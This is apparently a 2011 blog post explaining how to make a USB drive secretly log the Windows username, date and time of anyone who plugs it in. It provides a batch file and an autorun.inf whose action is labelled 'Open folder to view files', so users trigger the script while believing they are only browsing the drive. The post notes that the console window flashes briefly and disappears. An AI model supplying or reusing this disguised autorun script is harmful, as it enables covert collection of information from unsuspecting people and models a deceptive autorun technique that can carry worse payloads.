Thursday, January 20, 2011

// // Leave a Comment

Track your Pendrive Users . .

Yes , it is possible to track your Pendrive . . 


This is the simplest way to track your pendrive after giving it to someone to get Username of the accounts where the Pendrive was Used . . 


Create a batch file called username.bat with the following contents:

@echo off
echo %username%>>users.dat
date /t>>users.dat
time /t>>users.dat
start "Explorer" %SystemRoot%\explorer.exe



Now Create an autorun.inf file on the root of your flash drive/Pendrive with the following contents:

[autorun]
open=username.bat
action=Open folder to view files





Save both file and you are good to go. Now whenever a user plugs your pendrive into their PC,it will display an autoplay option indicating that they have to click on the icon to open the drive to view its contents. A small DOS window will flash for a moment and then disappear.Now If you go into the root of the drive, you will find a new file called users.dat which will record the user names of all the users who have accessed your drive by clicking on the icon. You can open the DAT file using notepad and view its contents.


However .. . this is not a fool proof method as some geeks disable the autoplay option  or the just bypass it by pressing RISHT SHIFT key when pendrive is connected and hence there names will not be recorded or they can delete users.dat file . .


Thanks .. 

0 comments:

Post a Comment